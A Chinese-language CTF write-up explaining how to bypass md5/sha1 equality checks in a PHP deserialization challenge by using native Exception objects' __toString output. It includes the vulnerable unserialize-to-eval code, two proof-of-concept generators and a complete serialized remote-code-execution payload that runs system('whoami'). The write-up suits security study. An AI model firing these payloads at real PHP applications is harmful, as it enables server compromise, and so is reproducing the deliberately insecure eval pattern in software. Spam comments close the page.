Nu1L知识星球的小Trick
整体环境为PHP 7+
<?php
highlight_file(__file__);
class Timeline {
public $var3;
function __destruct(){
var_dump(md5($this->var1));
var_dump(md5($this->var2));
if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1) === sha1($this->var2)) ){
eval($this->var1);
}
}
}
unserialize($_GET[1]);
?>
三个判断:1.两个参数不相等;2.两个参数经过md5
加密后相等;3.两个参数经过sha1
加密后相等;
在没有提供可以利用的类或者类中无可利用的函数时,根据最近刚学的SSTI
很自然的想到去利用PHP
中自带预加载的类,利用其中的魔法函数进行构造。
但是由于md5
函数和sha1
函数的特殊性,在强等于情况下可以利用数组绕过,但是在后续进入到eval
函数后,会抛出异常"Parse Error"
,导致程序结束。
在这儿可以利用__toString()
魔法函数,将类强制输出成string
。
这里借用T4rn师傅的脚本跑带__toString()
函数的原生类
$classes = get_declared_classes(); //返回由已定义类的名字所组成的数组
foreach ($classes as $c) { //get_class_methods返回由类的方法名组成的数组
if (in_array('__toString', get_class_methods($c))) {
echo $c . "\n";
}
}
Exception
Error
......
CachingIterator
......
方法1
查找到了一大堆的原生类,查看其官方文档后发现,凡是带有Exception
或者Error
的类,其__toString()
方法均继承自Exception
类和Error
类,所以其利用方法也是完全相同的。第二种是继承自CachingIterator
的__toString()
方法,但由于其可控参数是另一个类对象,所以无法带入我们所预期的攻击代码。(或许是可以的,我太菜了不会而已)
那这里我们就需要看看一个Exception
类对象中的参数都有哪些了,toString
后会输出什么。
class Exception implements Throwable {
/** The error message */
protected $message;
/** The error code */
protected $code;
/** The filename where the error happened */
protected $file;
/** The line where the error happened */
protected $line;
......
public function __construct($message = "", $code = 0, Throwable $previous = null) { }
/**
* Gets the Exception message
* @link https://php.net/manual/en/exception.getmessage.php
* @return string the Exception message as a string.
*/
......
public function __toString() { }
}
可以看到,message
和code
等参数可以被利用,现在需要知道输出内容是什么,才能确定如何利用
<?php
$test = new Exception();
echo $test;
/*
Exception in D:\phpstudy\WWW\index.php:2
Stack trace:
#0 {main}
*/
<?php
$test = new Exception('phpinfo();');
echo $test;
/*
Exception: phpinfo(); in D:\phpstudy\WWW\index.php:2
Stack trace:
#0 {main}
*/
可以看出利用message
参数可以控制参数,但是值得注意的是后边的路径有显示行数,也就是说两个参数想要生成完全一样的字符串就需要他们在同一行定义。
从图中可以看到所有信息都是完全一样的,但是这个地方有一个点需要注意。就是强等判断时如果两个变量完全相同,此时判断为不等。这是因为两个变量并不是同一个对象。
这也是为什么题目中用的是弱等比较。继续往下分析,我需要让两个参数不等,但转字符串后相等。我们就要观察他的输出和其中个包含的变量了。
再看输出,发现没有存在第二个可控参数code
,那我们继续尝试,在其中一个变量中加入code
参数,并赋值为非0。
再看输出,都判断为不等了,此时看输出也是完全相同的,那么md5
和sha1
加密后的值也相同,就能绕过题目中的判断了。
看到输出结果中已经可以绕过了,那么就可以进入eval
阶段了。
PHP Parse error: syntax error, unexpected 'D' (T_STRING) in D:\phpstudy\WWW\index.php(17) : eval()'d code on line 1
这个时候就报错了,大致意思就是eval
的代码出问题了,看大佬的讲解后得知需要再message
参数中,加入?>
以达到闭合执行的目的。
eval
执行的问题
eval
执行的时候为什么加?>
之后不仅代码可以正常运行,且eval
后续的代码也可以顺利执行?
官方文档中是这么说的:
需要被执行的字符串代码不能包含打开/关闭PHP tags
。比如,
'echo "Hi!";'
,不能这样传入:'<?php echo "Hi!"; ?>'
。但仍然可以用合适的
PHP tag
来离开、重新进入PHP
模式。比如'echo "In PHP mode!"; ?>In HTML mode!<?php echo "Back in PHP mode!";'
。除此之外,传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。比如
'echo "Hi!"'
会导致一个 parse error,而'echo "Hi!";'
则会正常运行。
也就是说eval
中不能出现直接闭合的完整<?php ?>
,也即string
中出现?>
就会将其后的代码以普通字符的形式直接打印,仅执行?>
前的代码,同时后续如果再出现<?php
标识,也可以继续按照php代码执行。
example:
容易看出,eval
的一些执行规则,即不能在内部直接闭合PHP tags
;下图中的代码也是合法的。
在大佬中的文章中还学到一个小小的技巧:__HALT_COMPILER();也可以终止代码的执行,同时忽略字符串中后边的代码。
那我们再看一下,__toString
后的字符串,在我们的目标代码前还有一个Exception:
,它会影响到我们的目标代码执行吗?
example:
依旧是带佬文章学到的知识,在eval
时,如果前面是一个合法的变量名(PHP
中命名规则),那么代码是可以正常执行的,原因是一个goto
方法,这个就不再赘述了,可以自己上网查,一大堆,反正就是可以直接跳转到我们所标记的位置,执行后续代码。
那此时我们就解决了题目中的三个判断问题,可以构造反序列化数据了。
<?php
class Timeline {}
$payload = 'system("whoami");__HALT_COMPILER();';
$ex1 = new Exception($payload);$ex2 = new Exception($payload, 1);
$TLS = new Timeline();
$TLS->var1 = $ex1;
$TLS->var2 = $ex2;
echo urlencode(serialize($TLS));
/*
O%3A8%3A%22Timeline%22%3A2%3A%7Bs%3A4%3A%22var1%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A35%3A%22system%28%22whoami%22%29%3B__HALT_COMPILER%28%29%3B%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A23%3A%22D%3A%5Cphpstudy%5CWWW%5Cexp.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A4%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7Ds%3A4%3A%22var2%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A35%3A%22system%28%22whoami%22%29%3B__HALT_COMPILER%28%29%3B%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A23%3A%22D%3A%5Cphpstudy%5CWWW%5Cexp.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A4%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D%7D
O:8:"Timeline":2:{s:4:"var1";O:9:"Exception":7:{s:10:" * message";s:35:"system("whoami");__HALT_COMPILER();";s:17:" Exception string";s:0:"";s:7:" * code";i:0;s:7:" * file";s:23:"D:\phpstudy\WWW\exp.php";s:7:" * line";i:4;s:16:" Exception trace";a:0:{}s:19:" Exception previous";N;}s:4:"var2";O:9:"Exception":7:{s:10:" * message";s:35:"system("whoami");__HALT_COMPILER();";s:17:" Exception string";s:0:"";s:7:" * code";i:1;s:7:" * file";s:23:"D:\phpstudy\WWW\exp.php";s:7:" * line";i:4;s:16:" Exception trace";a:0:{}s:19:" Exception previous";N;}}
*/
方法2
触发机制还是__toString
魔法方法,只不过是控制了其他的参数。
我们回过头再看Exception
类中的参数,发现message
和code
是我们直接通过传参可控的,后边的line
是根据代码位置自动赋值的,那此外的file
参数却不再Exception
的构造函数中获得。这个确实触及知识盲区,先放一个大师傅的Poc
:
<?php
class Exceptiop{
protected $message ;
protected $file ;
public function __construct($mess, $file){
$this->message = $mess;
$this->file = $file;
}
}
class Timeline {
public $var3;
function __construct(){
$evalcode = "phpinfo();?>";
$this->var1 = new Exceptiop($evalcode,"in ");
$this->var2 = new Exceptiop($evalcode." in","");
}
}
$_1 = new Timeline();
$ans = str_replace("Exceptiop","Exception",serialize($_1));
echo urlencode($ans);
整体构造思路是利用第三方类伪造Exception
参数后进行序列化,在其序列化数据中改名为Exception
,然后编码传入。在这里伪造的参数依旧是message
,但是为了让参数不同,而输出后又是相同的,就采用了file
参数,该参数可以通过比较输出法看到它会添加在message
参数后,输出位置为in XXX:
中的XXX
位置,具体如下:
Exception: phpinfo();?> in var1:13
Stack trace:
#0 D:\phpstudy\WWW\index.php(13): unserialize('O:8:"Timeline":...')
#1 {main}
Exception: phpinfo();?>var2 in :13
Stack trace:
#0 D:\phpstudy\WWW\index.php(13): unserialize('O:8:"Timeline":...')
#1 {main}
既然我们需要让二者输出相同,我们就要用poc
里的拼接方式拼接进in
,且需要严格按照其空格位置格式,否则仍不能判断通过。则可得到的正确可绕过的参数如下:
Exception: phpinfo();?> in in :13
Stack trace:
#0 /var/www/html/index.php(13): unserialize('O:8:"Timeline":...')
#1 {main}
Exception: phpinfo();?> in in :13
Stack trace:
#0 /var/www/html/index.php(13): unserialize('O:8:"Timeline":...')
#1 {main}
切忌将poc
中的var1
和var2
都写成($evalcode,"in ")
或($evalcode." in","")
,其余得到的就等同于方法1中的内容了。
上图来自0xGeekCat
师傅的博客。
总结
其实上述的技巧都是在没有提供足够的可利用类的情况下,采用PHP
原生类进行调用,且要在toString
后能显示可控参数,且位置合适,该Trick
适合很多函数的判断绕过。
参考链接
OxGeekCat师傅-学习反序列化中利用TOSTRING绕过MD5和SHA1
看的我热血沸腾啊https://www.ea55.com/
不错不错,我喜欢看 https://www.jiwenlaw.com/